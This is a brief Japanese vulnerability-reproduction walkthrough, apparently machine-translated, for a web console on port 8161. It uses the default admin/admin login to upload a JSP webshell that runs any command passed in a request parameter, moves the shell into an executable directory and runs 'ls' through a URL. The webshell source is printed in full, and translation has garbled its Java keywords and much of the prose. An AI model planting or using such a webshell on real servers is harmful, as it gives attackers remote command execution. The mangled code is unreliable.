脆弱性の再現
直接書き込みシェル
管理者またはAPIで記述する必要がある、シェルを書く、それは、完全な書き込みシェル操作することはできません、パスワードなしでログインする必要があります。
環境のデフォルトのパスワードはadmin / adminです。
訪問にhttp:// IP:8161 / adminに /テスト/ systemProperties.jsp
現在のシステムのパスを取得します。
JSPは、ポニーをアップロード204を返しますが、ファイルサーバのパスに解決されません
小马 <%@ページのインポート= " java.io. * "%> <%試す{ 文字列CMD = request.getParameter(" CMDを" ); プロセス子 = Runtime.getRuntime()EXEC(CMD)。 入力ストリームにおける = child.getInputStream()。 int型のC; 一方、((C = で .read())= - !1 ){ うちの.print((CHAR )C); } で.close(); 試す{ child.waitFor()。 } キャッチ (InterruptedExceptionある電子){ e.printStackTrace(); } } キャッチ(IOExceptionを電子){ System.err.println(E); } %>
その後成功した、ディレクトリAPIに移動し、204はコンテンツが返されません
コマンドを実行します。
http://192.168.73.151:8161/api/9.jsp?cmd=ls